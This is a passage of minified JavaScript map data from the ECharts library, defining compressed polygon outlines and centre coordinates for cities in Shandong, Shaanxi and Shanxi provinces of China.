{type:"Polygon",coordinates:["@@ô@VWnL‚an@VKÞLÆUnVV@šxV„„bn°Æw„wšKVVš@„maXwmJU@@k@aWUk»V™Umlw@™UƒVa@kUU@™²¥@k°a@a„K@U›ƒU@mmm@ów—ѱ¥¯@@w™Kmw—I›¥kU¯UmakJmIUaƒVkKUkm@VUUa™Uƒ@UaƒKUK¯@™w™UVŽUIUKVw™k™¥™wƒbVŽ@xn„@lWnXxlL@`„XlJX¦l°XxW¦@¦Ul™n@Ž™@@Um@@VXVmx@¯bllUnUJ@VULVn@b„xV‚VL@b„„VlnVVblV„ÈnVlIVJœLô„lJ@xl²„"],encodeOffsets:[[118542,37801]]}},{type:"Feature",id:"3705",properties:{name:"东营市",cp:[118.7073,37.5513],childNum:5},geometry:{type:"Polygon",coordinates:["@@ͬUǪlô@°Uœw°ōĠ¯š»Ģ炻XÇ@w™wƑa™ÇƒkwVƑ¯@řķUmm¯w@kƒa@mV@@anIU±m_ÛW@_mWVU„K@IkK@UW@@a@K@™L@Vk@±U@UV@lm@mUU@kLm„„xV¤@xV„„x@xUXmx„xƒ„bV`UnUJƒn™U@lÇkkllX@l@VkbWbkLVbnVVl„„WV™@@L@VXLll@xVXX`ôIlVXb@bVLVll@@¦nlƒÈ@›aUJkĸVÈÇè@x"],encodeOffsets:[[121005,39066]]}},{type:"Feature",id:"3701",properties:{name:"济南市",cp:[117.1582,36.8701],childNum:5},geometry:{type:"Polygon",coordinates:["@@²¦˜Òôxn@nn‚@V‚œ„°VlXU˜UX@Vl@XVmX@JnnlJVxnXV`°zXbV`VxV@„z„JlbkŽVnVV@X„@š`@ÞkL@bm`mL@bkbšxnVm@xn@VV‚@XbšKl@xkV@b@l@nUbmVm¦XVVV@VUXVVV@XVWb@VÞVVb@X@JnXlWšX„x@x„UVV@aVKVUX@lK@UƒIUWnIVmnL‚K@w@K@UU@ša@UVU@¯nyUman™VJVVk@ykaƒIƒU@@ƒWU@aXK‚IV›XIl@Xb@al@Èb@JVUlVna@UmU„@™VKXaò™Xƒ°IUwma@aU@UU@wVW@фw@a™I±`kbƒUkw™UmJ@UkmÇUUkmKknUVƒ@mJUkaWkƒa@KmKkUƒLmyXa¯_@WmImmbƒLmUkVUbUVƒJ™bƒUkkWJkUƒl™IUm™k™Lƒ›„lK@knaVmkI@mWaƒLUK™UU@@VmLUVLWK@UUUƒWUkkVmx@„Vl™¦"],encodeOffsets:[[119014,37041]]}},{type:"Feature",id:"3709",properties:{name:"泰安市",cp:[117.0264,36.0516],childNum:5},geometry:{type:"Polygon",coordinates:["@@n¼šŽW„nxšL@x°@š¥Uk@ƒnwlUVl„XVV@VXL‚KVUnK@UV@šVVL„KXb@nlJUnmb@lkLƒ‚„œšKšlVnšJ„klVXIll„Vša„IVUValUnV„K‚annnJ@X°`Wbnz„KlVnL‚Ž@L„bXl‚bVlnI„@VUU@UmVƒ@U@Uš¥@VmV@@_Ua@m°@@ƒ„kmUUm@UVmn@nX‚@@a„anJVUVL„mlIVJn@nkVLVa@KVmVLXVVLš@@U°bn@VaV@@K@aVkœbWaXUVymU@aUImWXƒ@™¥UaVwUaVwUUU@WWƒ@k_™VUKÇa@ƒƒnmxkV@LVJ@X™JUbƒVƒ„kUWVUIlƒLƒwĉVƒaU@VbƒJ@bƒUUL@mVUK@wWkK@UVWUIÇm@UUI¯lWK@kk@UL@lmU™VkbÇaUVVnJlIn‚WbXb™LƒxVln@VbV@V„UV™@kƒƒIUK@UWm@UU@LƒK@KU@Uam_ó@™m@L@lƒ@„@x@nWJUU@L™`k_ƒJWbUKkmLn`mb"],encodeOffsets:[[118834,36844]]}},{type:"Feature",id:"3710",properties:{name:"威海市",cp:[121.9482,37.1393],childNum:4},geometry:{type:"Polygon",coordinates:["@@VbUnVVUxĊ¼š¼ô@Þф¯‚WǬLŎUÆW„¹Uǃō¯ÑƒÝkţ™™ţóġ™óL™ł̥U™wm¥kÝmkkKóbÝ@U¦@‚mb¯LkšmJ@x„Lmn@lk@ƒa@Xƒ@ƒlXbmJUz™V@bVJ@n@x„blJXzšxV@Va„KVUXLlmVV@In@Vx„UlW°@nLVK@zXVVal@@V„w„bVKšL@bnx@„WbUJ@VnXVlVxl@nnnV@„lV@L„‚"],encodeOffsets:[[124842,38312]]}},{type:"Feature",id:"3711",properties:{name:"日照市",cp:[119.2786,35.5023],childNum:3},geometry:{type:"Polygon",coordinates:["@@UaVUUKVk„JVaVIČb@Vam@ka@Ul@„Uô„VK@UnKVLnKlkWVa@¯l@VbÈlV_V@XWW_@anKVwUmVw@@Uny„UVblKVLX@„aô¯ó¥mÛĊÿÈ¥š™Þ¹lUīƒ¯Kĉ¼ʟbÇV™U™ŽUŽ™XmakJUnmV@bUnmJ@XnJVLn¤UzmJUn@`¯ImŽU@™nƒKVkkm™KWb—b@xƒk™@mL@KƒUUVUKkbWaƒXkK@bkJWbnbl@UL@l„Lš@lxx@b‚nUVlV@¦²°@bVx@Jƒ@¯XUJ@bUnlxVŽ„X@‚VV@b„L@nô`@bkbVVÞL˜xnU"],encodeOffsets:[[121883,36895]]}},{type:"Feature",id:"3703",properties:{name:"淄博市",cp:[118.0371,36.6064],childNum:4},geometry:{type:"Polygon",coordinates:["@@nƒlKV@nVn@@kVU‚@²VVaUƒ@wmKXU@UƒUWwUW¯aU_ƒJUV™—VK@U™JU™@kUƒw@UlnWU_@›lI@U@wUml@@mVwX_„KWUXKVa@UVUUwšJlaXWUnƒ@mla„n„UVWkIV¥V@VVVI@a@akakLWKna@aVwk@WUƒbUlk@™k@U¯UWWU@mUUVUXkVmVVV@nkVƒLƒVÅwƒ¯k@WVXb›aUl@bV@@b@xkVVXVxkJ@nk@@ŽVLUlVb‚VXUVVUzV‚™LVbUbV„VWVkLmškJ@n±@UxU„VVkV@bƒx@ÒUX@xVVV@°J„„X„lK@bULUblÆÞV@b‚LXxmV¦ƒV@xƒXVŽğ@±LÅ`™IUlVbƒnšbXšllVnnlVLÈw˜K²ŽšIlanVVVlL„wXlK„VlUXƒma@knwƒWlkšVnU@mVIUl²aVJ‚zXJlI"],encodeOffsets:[[121129,37891]]}},{type:"Feature",id:"3704",properties:{name:"枣庄市",cp:[117.323,34.8926],childNum:2},geometry:{type:"Polygon",coordinates:["@@‚yUU„U„kl@@aVmšLXw°»°w@y„L@UUaWXKƒƒVknwVKlmš_UmmUXK@ašw@k@mUWmUL@ƒ@™@£@KƒbÝV@akw™aULmƒƒbUK™LUU@lm@—°mL@nUJVxVXU`mIUxU@UnU@@lW@@bkLW@UVkKǰkLlŽƒbnUÜÇUUVÇ@@Xkl@XV`UbmbUbU@WxU@¯¦m°nL„aVblVXal@XKlLVVȄ‚L„KôlnbšI@„V@VJ„I@lVVÞaVkXU"],encodeOffsets:[[120241,36119]]}},{type:"Feature",id:"3712",properties:{name:"莱芜市",cp:[117.6526,36.2714],childNum:1},geometry:{type:"Polygon",coordinates:["@@lmnLVlÈVln@VnIšVlx„Vla²_šJlUUUVƒVw²@@mlIn™lKXU‚UUƒVaUašKUVyUUWVUUaVkUK@l@@mlIUwUWlU@w@aU@@LU@Ubm@¯a@V™@UKWUUKUn@LUbUKmlm@UIkJƒnUKUVmIƒb@b@mWm@Un@VVnnVƒl@„¯@@nVb@`U@Un@Ž™¦@V@VU„VnV@"],encodeOffsets:[[120173,37334]]}}],UTF8Encoding:!0}}),i("echarts/util/mapData/geoJson/shan_xi_1_geo",[],function(){return{type:"FeatureCollection",features:[{type:"Feature",id:"6108",properties:{name:"榆林市",cp:[109.8743,38.205],childNum:12},geometry:{type:"Polygon",coordinates:["@@™ýVƒnIW»ƒW@»kUÇL—݃U¯¥ÇIUWWїUWwX¯mƒ@»n@ÜÈķô™@a±kȱƒw„ÑmwçċmU»ÆkkVyIm™ĉÿ@ƒÝ¹ƒWnwÇVš™Åaƒzmmĉ¦ó™kVmx™xU¼VškVm_UlVlk„°IV‚kmJa›¦k™™LmmV@XmKnšlUô›VXbƒbƒ@UaÇLğܙ™Åwƒ£mKnmċwÅ@UkƒbmaVƒƒƒn@m¯aU™Jm_k˜@kWXyl@@kÅamw™LU™Þ™ƒ™mWÅzUKƒš™Uk±@™b@nnK‚bX¤mzVšŽVxÇn„‚¯„@ÒknWƒƒVUbkķÈÑWkk@Va™™U@„mUkbƒÝÅ@Ý¥ÇbkĬ™XV`kLǍVmalUUa™nV±nwmkƒJ@Inƒ°KVw¯UnÅ@¥™ƒ™U±bUU˜±œmWbÛKWnUm`UƒVK@bmnœm‚Èż@V„L@xƒxmš„Ť°nŽ@VmK™²VlšlKk„ô@„êÜV@VXLlmš¦UššV°Ș¯²ÿ@¥š@ƁĊ˜²IšmĶnnb°b„KVƒĸLl„Þ@UȮš™Ü°IVƒÞÝސlŽœx@ŽķĀWŽ„Ux„èƐ@š°ŽXnšlĊ˰m„nƒšV„²V°ÒƦ„aބ„˜@zll@bÞšlš¼nKĊ¼óȂb²±šIǪÒ¯ĖV@„lxnVlk„JlaXwŌĉ„„@VnŽššlÆĕ„UÆLœèŌŤôxȚlUœ@šxlaUċĕXm„IWmnkšVVƒ„VW_@aÈWUUmk@ƒ¯çVm»™±W¯n¥V™mkXw±ÇVwƒ"],encodeOffsets:[[113592,39645]]}},{type:"Feature",id:"6106",properties:{name:"延安市",cp:[109.1052,36.4252],childNum:13},geometry:{type:"Polygon",coordinates:["@@@kkÇmIšmUwVkUƒƒU²WmšVkm@m`mIĢĕUƒVa@™mXƒƒÿVVkyUýšĕ@l_UmnƒW„KVkţ™™¥™aƒwğ@™@aôƒ„ƒWa„kUmƒa¯¯™a±£kx™mmxUwÝ@xmU™b¯K™wó„Ý@kmm¹Ub@lklVbmnnVUV@x›UknƧJUX@ŽƒLÇWkw™LķƧÅwWJk„ƒLkþĉxWz™JUnǚkš@Ɛk¼ÜÔÈKšè@°lșÆk¦l„n@l¼@l¯L™°UU™Vǰƒ¹—`m¼mXk‚™bUaƒV@U¯x@¦™Ç™„UUmlmUVm„nnmlkw™@@šƒ¦Å‚ÇLmx¯Iklš„@¦mưVUx¯Lm„@J„InlmxU²šmVbkV‚bUnȎlKU_šWlīÈaÞ¦Æ@„ÞlanV@ƒšVšUbl@XlÇÒĸlŽVa„UX„lm@ѰƒƒÈmUw‚U™nyW£amL@mša²@lšV„™VLÆynX„šÝšVššKnxÆb@lk@WzXŽ@ll—n`šIV‚°b@n„m„„‚Unb„aVlÆ@ČxmnnL„¤ÆxššĠÛÈKVb„@„aWaœU‚ókVm™nL@W‚UnnšKlšœ¥‚bnIlU¯JlƒUkVkn`lUU™V»šwnwlUôšĊ¥nn„yÆb"],encodeOffsets:[[113074,37862]]}},{type:"Feature",id:"6107",properties:{name:"汉中市",cp:[106.886,33.0139],childNum:11},geometry:{type:"Polygon",coordinates:["@@lKnb@n„lWb°bkxĸwVb@ł„nlŽ„ƒĊ¥šL@XŽl™ÈƒVblÈK‚b„akVwôml²`‚nœ@‚nVKœl˜k²xŎƒ°¦VU„JĊw@çnWçރVkUóÛ@¥kwš™šUmƒX¯WšÑkƒ@UymIUwlUn¥‚mUk²a°¯V»@™ÝVș„ÝċÅÅVl»@l@a°±@_kammÅb™a@ƒƒm@ż™KknõĠ—@mšƒ„¯LÅw›‚—LVxmb@¼kV™@mw¯wVakKW»X±¼¯Vkxƒb„¼WŽ@nx@x±bóakbƒ@ÝmU™@ķÓÛL™kƒVUm™k¯¤ÝLUlÝ@Ýz™š„x@x™°™™™bƒmƒX¯aUJW¯—k@bÇWƒwÛwWxƒ@XWlb@Žƒ„VŽÈUlwšLnl°VlUô¦œU°¤VšUxVXUxlbkVVlƒI„°„ÅVlU°m@k„ÇU¯xUlƒLUlVL@b™°ĠInĠ°ÈnK‚„@xÞa²n‚aUyšXUKVkšWô¼Èa‚z°JXUVÇV_„JVƒšz@Žnb"],encodeOffsets:[[109137,34392]]}},{type:"Feature",id:"6109",properties:{name:"安康市",cp:[109.1162,32.7722],childNum:10},geometry:{type:"Polygon",coordinates:["@@„bĊaƨèšwôô„¼šb°ašXVƒÞVUÞ@‚aXƒm¥kImx¯¯ƒV@anU@UÇéğL@ƒ¯¥V£mƒ@ÝÈb„K‚™„X°wČÿ˜ƒ„b@xÈblxȯĊ„„mÆUVƒ„nÈ@ƨÜLĢ¥ƒŹnƒ°Vnn˜K„aô_ȃšwU‚aXmnW‚¯kl›LXƒÇ™ō¦ÝaÅVmbğUn¥±wÅéVƒan¥ƒ„U„»°am¥„£ƒÝ@ƒ„wVw™¥nU„уUmmVwmķIÅaóVWxkblb@ból@œğÒĉ¤ċXƒ˜¯X™xk„Ç@óÆÅx@š™xķ_kmݎǣkblb@`¯²@bk‚‚@k¼ÆUČÆƒÞǚÞU@šU¼¯°±bVlnm¦kVVxnJVz@‚l„™ÒXW°n„™V™šlx@¦ôÜVUl݄Xèm@è"],encodeOffsets:[[110644,34521]]}},{type:"Feature",id:"6110",properties:{name:"商洛市",cp:[109.8083,33.761],childNum:7},geometry:{type:"Polygon",coordinates:["@@²nl‚ôbš„°aVwnKÞIš`°wšXôw°VĊ°@ŽÅš„ÞÆV„zÞK@xšŽ@a‚LŚ@b@ŽnLlƒ@šln„mnLVw„a„bVƒ‚VnbU¼„Vƒ°„bl„šbÈ@ĶŦb˜@nÇ@amIyUI@ĠVmôƒU™ƒVwkwlanJ„¯lwó¥@an°Jš_„‚@š™nóƒó@£l¥UwmašÑ@ƒUm±V_ƒJ—£›J—UW¥¯@ƒ_k¯¼mUƒVUè¯b@wmL™»ğVmağI¯¤ċIUW™XƒKĵ¦ķaƒJUb™IƒlUóVmk@WÅÅÇ@ƒmU„ÅVƒnĉƒÇ°kwÇa@wƒa—„ċxƒWšƒLÇa@Þn„U¤°¦@„ĠKÈê@VmV@b„U°°nwlJn¦W„bÝ@VŽ"],encodeOffsets:[[111454,34628]]}},{type:"Feature",id:"6103",properties:{name:"宝鸡市",cp:[107.1826,34.3433],childNum:10},geometry:{type:"Polygon",coordinates:["@@@ƒ„£@›°Išb@¯°ynʃaUƒlƒU£„Umšĵĉ@@ylUÞ@@£kWU¯WaU£¯ÇV¥ƒ@kb¯wƒn™¥ÇkUÇnUƒ@¯±›kULm›@m±_kŽónUxlŽƒbaÇLkŽUaDŽkšW@™Kĉ¦ƒ„kƒm@ŁUaķxlw¯aXaƒk@mmakL@šmšÛŽ@¼m„@l„XV`ƒn™KUš°°@²š¤UÈ@VxmôƒxKl„VV²aVw„Xla„Vlx@UVnŽÇnk°ƒVVL™lkI™šƒJÇk¯V@šknƘn@lznmlVkzVŽ„VVxš@Ux„z@x±¼VxxU„l‚kb˜@„¼Čk˜VXlĠkôV²w‚LUKlwœJ@a‚IV¥Þƒn¯Ün„‚„@nk˜l²kÆ@š°„aVbnI@™š‚Ťn"],encodeOffsets:[[110408,35815]]}},{type:"Feature",id:"6105",properties:{name:"渭南市",cp:[109.7864,35.0299],childNum:11},geometry:{type:"Polygon",coordinates:["@@@ÈôL„xUް„Þ@mŽÈnl¤nUôL‚wX`@ÞÝL™ŽUšmLô„„ŽôbVbnºlnÞ@ôƒšx°LšanV‚wÞ@Vxnwšnlw²¤šb°°„bVnƒlXbƒ„ó„@bš‚Ġ@„xšbš¦ŤšV™Xġ„£W¥ƽɽƒó@ýóƝÝ»„£X™mƅšĊkUƒ„@™™šó„kťaĵŽÇ@™akƒƒa„¯ƒUV»maUU„ƒaƒbUxmKƒnkm@™k„mK@ƒxó@¯n¯KǦ@ôÅèlxkx°nƒƾ¯KU¯WķL@VÝIUb™yWbX¼Ç°"],encodeOffsets:[[111589,35657]]}},{type:"Feature",id:"6104",properties:{name:"咸阳市",cp:[108.4131,34.8706],childNum:14},geometry:{type:"Polygon",coordinates:["@@šIXyĊwlý„KlƒXIVaķƒ™»a›£„¯aVU@a™‚wÈō‚ašL²»‚VœUln°WȯW»XašzVaÞJ@Uƒ»@¯Ýbğwly@£kÑţ±Wу@ka™IUƒƒnƒ@¯ƒómţU™b™U¯lÇIÝb@¤Ý@kV@zĊ@™ĶnƒVV¤k„V„„bmź¯z@°™a¯J@œƒ¤@„„bUx™bƒ„@`™xUÔ±ºVXœW‚„UnUJ‚L̝ÈKlblmÈXŎ°šU„°LšŽlkÞKš@Èxl_°ĶUÒkblš"],encodeOffsets:[[111229,36394]]}},{type:"Feature",id:"6101",properties:{name:"西安市",cp:[109.1162,34.2004],childNum:5},geometry:{type:"Polygon",coordinates:["@@°²@‚„mVVÈÈlš¦„m°xla„@U¦°ÈV¤XbV°lXÞaÈJ°kšVšaŤVôn°„„@„mV„šJlb„@XÒŤ²lÒ@¤kzĠxÞa@°„¼ĸK°XV‚°L„ƽ¯mlwkwÆç@óÈ¥°L°mô@„w@aƙK@b™@wÝLƒyÅUƒÝƙ@ĉ¯¯Uóx™W¯x™_ÝJmLUx¯b™ƒóak±mÝUU„™W¯b™aƒ»óó™xƧçĉbƒaĉxƒIUV¯¥ō„±w—l"],encodeOffsets:[[110206,34532]]}},{type:"Feature",id:"6102",properties:{name:"铜川市",cp:[109.0393,35.1947],childNum:2},geometry:{type:"Polygon",coordinates:["@@ÆxĸƨšKlxÈX„K@VWƨIlmœV@wVUmUnmUalk@kVaUaóaƒóƒnKV™šÞK@ÝW_xóKmVk£ÇmnÝ@¯ƒVƒwóK@ǯXkm›VU±¼™KbÇŎx‚š@bUV°bƒœ¤‚bš¼ĸ„Ub"],encodeOffsets:[[111477,36192]]}}],UTF8Encoding:!0}}),i("echarts/util/mapData/geoJson/shan_xi_2_geo",[],function(){return{type:"FeatureCollection",features:[{type:"Feature",id:"1409",properties:{name:"忻州市",cp:[112.4561,38.8971],childNum:14},geometry:{type:"Polygon",coordinates:["@@Vx@lnbn¦WlnnUšmš°š²VšV‚VVVnUn„ºlz@l„„@Jƒ@kXWVXl@Lƒa@„ƒKUL„ŽlbnKlLnK‚LnKÆXn°šbVV@bUVl°Un@LnaVJUbW@UX²l‚@ČwlVVIšWnkÆa°„„anV‚Kn°™UW¯@™aVUVk@Un@„aV@ValwUanmWU„k@WVUUanaVwnLVl°@nk@mVU@UVK@w„LVKVU@ƒ„K@UUKVUV@@bnL„a‚V„aôšlIXmlKX_°KVV@bVV„@šzV`kblI„V„Ul‚šL@bnV@V„Ċll„„VlIXW@k„a‚U²blKšVnIlJ„albXXlWVn°JnšnL@l@XlJlaX@„X˜W²@l_VmnKšU„blU@mnkVK„¯@U@ƒma@kX¥VƒmakkƒLƒa@aƒ@WIUUVXWWnk@a°a@kkm@kUUmJm@WUUUIk`m@V—kaWWkX™KmƒXk¯ƒ@WKƒLkak@±bƒw@ƒaƒa@akaƒ@ma¯@ƒL—KÇÅkKWbkmġ™±ÅUƒLUK™VVkƒm¯LUVVbƒ„UwUW¯bm„ƒULƒxWJ—@ƒklmkUm@@KnwVkVK@akwƒ@@a¯bƒKkn›VUI™b¯mmbk@UbmKUL@xUUƒ@klmLUŽlVXI‚VVVUVUœU`mLXVWbXnW`Ų°xmށxU@mĉƒƒwU@mbU@UƒmbkVW¦kJ™@ƒX@`¯Im@UlUVVnb@bWJXnmbƒJUU™UUaƒ@UamIkaƒxƒ@@x@b"], +encodeOffsets:[[113614,39657]]}},{type:"Feature",id:"1411",properties:{name:"吕梁市",cp:[111.3574,37.7325],childNum:13},geometry:{type:"Polygon",coordinates:["@@@a@w„@„wlbnJVb„@VbšVVV„InaWmXI@a‚aUmVUVkn@°J@_„Wš@lIX¥lUnaV„V@naV@„xĊ„n‚V@‚wn¯wƱX_WmXaWUnKV_V›VUUUUWJkUVnKlk¯™@@kmKUaٱKkU@WmI@WUIlUUmVwXƒ‚w@ƒUlUVwœV‚@„Lnb‚W@anU@UšaVkô@l»n@na˜JnUÈLVaƃUUVm„VKVƒ²L@mU_lK@UVWkU‚a@a@U¯aUaƒÑóÑUb™„ƒKk@@aƒk¯mVaUwVƒÑkWUmK@UUKmXUWÝwUa™LUU@aWJUUU@Ua݄U@WL@VKVaVI@WnU@alIVKƒƒ@kIƒmIkJ@™m@ƒ™@@_™K@xƒ@kaW@U„@Vmn@ŽUK@mIƒJUXV¤XXWlkKƒkkK@XmJVakImJU@ó™¯LWKUV@nUVƒLkxmKkLma@kXKmmƒLƒab™LmK@V@mXVÆUxƒX@`nL„aV@@VmLUVnLlLš˜„b@„šŽ°²nx@b‚VUxlb@V¯bUV@zV‚XVĊXVx@lVn@VnnmŽUš@LlJXVƒz¯VWVXbšV@bmn™VUVk„Çþń@XVxmbUlV„Uln„W„@„Xl‚@VLXÒ@bÞJ°¦„L˜ò„@nU‚b@°„X@ŽXbmVU„V„nb@x‚x"],encodeOffsets:[[113614,39657]]}},{type:"Feature",id:"1410",properties:{name:"临汾市",cp:[111.4783,36.1615],childNum:17},geometry:{type:"Polygon",coordinates:["@@nW‚@@UnLšK‚a„b„KnnWL@lnblKnLlw„KVU@mVUXL°KôšV@nIlJUbnI@WlL„llLXkWWU£VW„InJ‚@VL@nm@UVƒX@lb„@@wšL@`‚@„šn@V@lw„@n„VmVX„WmwnUlƒœa@_lK„wVlUn°xVKVXXWlUšVVI@K@K„n°KœwlVlU@kna@V_„Wn‚m„UVm@kXml_@m„LlKXw°m@_ôJVUV@X™l@UaV@Va°I„lk»VwUkVmwUmmVn@V¯@KƒU—wmK@U¯wUVÝ@mJƒU—nWK™@@UnKVa„_lykUmKÛnm@™x@ƒUUlwVk™ƒXW@ƒa@Uƒ@@K@ƒkIV™nammVakUlƒ@wX@@kƒ™¯@ƒVVbml@„„°UbULmlVbnbÅK±VƒKVXUJWa@ULWaUU@@U@aWK@UkxUKƒLUUUJ±UkL@V±kk@kam@UV@l@LWl@n@VVUx„LlUUx@VUV™U@aƒIUl™L@°mLU‚ƒbkUUaWUUaUU@aWK—LWJ@bUL@VUVVbU@m@a@kmKmnĉlUK™XƒWUblb—xmIkƒƒU@xWb@lkšVx™LXŽmzVV@bklVVUzm˜@bk„@Vx@xlŽU„@lUbVnl@„Wxnl@n@ŽUbV„mL‚mƒb@`X@lUX@@xlnkLWaUJnnWV™Vn@l„@bULVV@l™V@XnJVX"],encodeOffsets:[[113063,37784]]}},{type:"Feature",id:"1407",properties:{name:"晋中市",cp:[112.7747,37.37],childNum:11},geometry:{type:"Polygon",coordinates:["@@@šlInJ„lJ„@‚„ULkJ@bmV@XUJUb‚L@UXKV@ރVbV@VVXI@bVVšKVbÞxVXnWVL@VnLV‚lX„ÒUŽVxUb°n„l@bl@„LšƒVaô҄ÒVb°b@VnLnnV@lmn@lb„U„V@„‚JœUVV‚Xkl@lUzmJ@xšXkl‚bUn„JVšUb„nU‚lb„V@nlLX@lakšV`Ub°š@XVJnU‚L²KlxnI@KV@lbUbVV„KnVl@„zlm@Uš@nŽšI@WUaVl@@mVU„@XkW@ƒnkVKVƒ„_Vw„y@knwVa‚@XalU„@šVnml@„X@V„L‚KVaÞbnnlJšI„mVKn„VVVInVlU„@„m@™mXK@UmyUI@mWUUakamw@wUwmLkakwVƒmK™w@wUam£y@am_ƒW@™UU@knmm„amU@WUa@knw@ƒUUUUV@nƒJm@mVUkKVUUUkKmwƒKULƒKUImV@lUn™nŽm@mbUK@°™bUnmbUmkkƒWUb@am@UXkK@a±@™V™@ĉř„V‚UXVxUVkLWl¯@@bULUlm@@nm`—XƒlWakIkm›VUbUL@Vm@kIƒ@@Kšm@—VaX‚I@W@aU@kUƒVU_™KƒbƒJkkǎ™b@nkKmL™wÅW@kVUUƒVU@WUIƒJmIXmma@_kyVaUUlkUm@ƒkU›x¯Lƒm@L@LUJ™UkVWXUWUL¯wVmUkƒxkL@`›bk„mVnxƒXUWUnmƒƒ@kxU@"],encodeOffsets:[[114087,37682]]}},{type:"Feature",id:"1408",properties:{name:"运城市",cp:[111.1487,35.2002],childNum:13},geometry:{type:"Polygon",coordinates:["@@„Vl„nJ˜wkaVa„XšWVLĊknmnL‚l@@bn‚V@UaVU@UVK@aXI˜KXL@bVVVbXVVblV„aVnK@¯šKVk„J@bšVVU@UVwkVƒKVwUUm@@Xk@K@kVUn@lbl@²l@UlK²VVIVV„KVLlw@VXL@b@VV@VŽXbVK‚@XbVIUW„L‚U²ÆLmaUankVKVaƒ¯@ƒnkUa„U°@„š‚n@@kWa„UVaXUW@IXKVw@U™ƒ„™WU@W@@UUƒU@mn@ƒ`m@UUULkUmJ™IUƒ@@UƒK@U@›anƒ™ak_@wmKUwmakV™kmK™V™k¯b™wƒ`kwUIÇx¯»ÇaŃmn@@™mƒmUkV@wkKW@kxmL™UkĉLÝk™xÝw¯lóVU„mV@ĀVVX¦W¤kz@`Vx°„²ĸ‚š@„Ul@x„êĸNJ°¤V„VlXLWnXxmV@nUl@„"],encodeOffsets:[[113232,36597]]}},{type:"Feature",id:"1402",properties:{name:"大同市",cp:[113.7854,39.8035],childNum:8},geometry:{type:"Polygon",coordinates:["@@²£šyl@Ȑ˜Ė@bĸŽĢbĸ„˜X„a‚KŤnn@ŎôllÈx„nVnÞDŽV@b‚nXllL°KšbVb@J@b—„‚„@ŽU„„xlKXLlKlXk„@Ulk„JlkUƒVKXUƒÇVIVm@_nǚLšašl‚w„VnU@UUwma@aƒaÝaLmUk@@Wƒ@U@@X™wVWÝUUUk@@VmLƒKV»nwUw™aUL@`mzƒJUIVƒUaUw™KUaVIlJôanÑlLVUn@ša„@VV„@@UUwVK°Vn_lJÆLœéW@UUUÅ@»lm@aÞIVwXW˜UUkkm@U@aƒU@mwU£VWU_kWmƒXwW_°yUkkK@UÇK@kkUVymóK—U@KWIƒbUak@mJ@bkbmLkŽ™UmƒkVU„W¦@lnb@„@Vƒ°ULml@nkVƒa™VmLUnk`±@—XƒWW@kbǦXޝ„WxI@xmbmxXlWV„„@bŎUz@J‚b@bÞb™ŽU@Wbk@ƒxk@WX¯VۙƒWÝbÝUkVUU@alI@a@akLWa™m@U¯UUmÇL@K@aU@¯VUkƒKmX@`@œkJ@nV‚Ub@lbVÆXVW„ULU`VbkLUV@XWl@bXJ˜@VbV@Vl"],encodeOffsets:[[115335,41209]]}},{type:"Feature",id:"1404",properties:{name:"长治市",cp:[112.8625,36.4746],childNum:12},geometry:{type:"Polygon",coordinates:["@@Uk™Lky@I‚JVa@mÞaWšy@_W@_WƒXVlUVwš@nw°K@m„UƒVaƒmVkU@mmmnLVUmKXa™U@IlKVUnK@UmWkX@WV_Vƒ@akU@a„KWIXyƒIUVmUn™Ua@WaXUVKVmkUWVkUƒLU@@VƒbƒKbƒIUmƒ@mbVL—x›WUUkn±V¯wƒbÅJUbmLkbmKÅKƒbVnUbƒV™KUb™KUbmLKmƒb™aƒKkUm@UŽnn‚VnxUVlUxl¼ƒk¯JUbU@Vbk@WšU@UVóI@`¯nWxkLƒK@nk`Wn@lUnƒVnm‚ƒXU`@mb@lkV@„VnklVVUblz@`nbWnnJ„IVJ@XUVV„UV@lÆXšxnKlL@mšaȍll„I„ašLV`„UlVV@@b@XJWUb@˜™n@L„@lJn@@UVKVaœUlnlJXb„k˜Wn_@mn@VkVK@a°@XklKVUUwVWUšƒĊƚ@šU²@@blLVWn@@bVa„XllVnnaVmša@¯VLnan@‚šmVm@knUVJ"],encodeOffsets:[[116269,37637]]}},{type:"Feature",id:"1406",properties:{name:"朔州市",cp:[113.0713,39.6991],childNum:5},geometry:{type:"Polygon",coordinates:["@@XXWVXVWnnlnn@èÆ¼@„„xlš„ŽV„nblšššVŽÈUVl‚š@„blnœL܃ĊmUkU@Ua‚—@WI@aXk@WVUlKUaV_VKXƒWUUÅka@VaU@mlI@›@_nW„LVl°UV@@b@LÈKVn°V@VšnXblK@b@bkJ@bVVlUÞVÞa„Xܚ°UXWl@„wl@XaV@šÝa@aa@IVyƍ@aƒƒXUWknwna@w‚JXw°ƒWÈ¥kI@W@kmKm™¯IUmkXWWkaƒbkImJ™UkL±aVƒb@lWXkJƒUkƒĉkƒ@UmU@a™KkƒVƒUkJlaU_™yƒ@UU@aUU¯LW`kLWnkJó™ƒbUƒbmK@aU@UVVL@VƒL@„UVULƒK@xUL@VUV@nml¯@UkmKUxmbVbUV@XƒlXVmnVbkxUbU@ƒbm@@VUlUVšb°@VX¯šm‚"],encodeOffsets:[[114615,40562]]}},{type:"Feature",id:"1405",properties:{name:"晋城市",cp:[112.7856,35.6342],childNum:6},geometry:{type:"Polygon",coordinates:["@@lV„Lšb„an‚LnKVašLVašL„UVaUm„aÆLnLlanKVaÆI„a°x²UlmVVœX˜wUKna„@Vn„J‚a„L„a@UV@@alUkKVKnkmmVwUk„w@ƒ™@kxWUXƒW@@mƒk@aUa@a¯aƒLkKmwkUm@kL@K@aWIXmƒVƒXƒWkUVakL@UVKƒw@aUK@UUKmLU@¯n™KUwVƒUIWJUWmka™@UXƒJƒk@UkmW@kLWKVƒx@bmI@VUaVU@a¯@UUmVKmX@±`kÝKVxUL±akL@V™bƒLkKmVƒ@XWVUbƒVXb@lm@@lW@@xk„lVUbnnmbUšlJ@„@L„@@V„b@‚WXš„UlkxVV@„šwn@ÜmnLlVkzƒ`UbmL@Vš@XL˜m„VnIÞ@VU°x@VnL˜x„V@LU°"],encodeOffsets:[[115223,36895]]}},{type:"Feature",id:"1401",properties:{name:"太原市",cp:[112.3352,37.9413],childNum:5},geometry:{type:"Polygon",coordinates:["@@„@VV@wVKnLVal@na°nšaVJœUlm„L°a@b„@lx@bULUlmx@Ln@lVkn„l˜@XI„w‚K„Vnƒ°aVXVx„ƒUaVU°K„nUlšUVL„KÆVš²Ģ‚lnXalLÈÆ˜L„KUaVkUanmWU™a@WwkUWU¯y¯Ñ@anIl@@aVU„m„I„ymUƒLUUVakaU@@LmJkw±LKmVUI@W¯™VaU_l™kbW@kK@mƒUkaVƒmVaU™ƒIVmalk™W@wnIVy@klkWUU›VI@ƒƒUƒVkam@knU@mmmK@bblV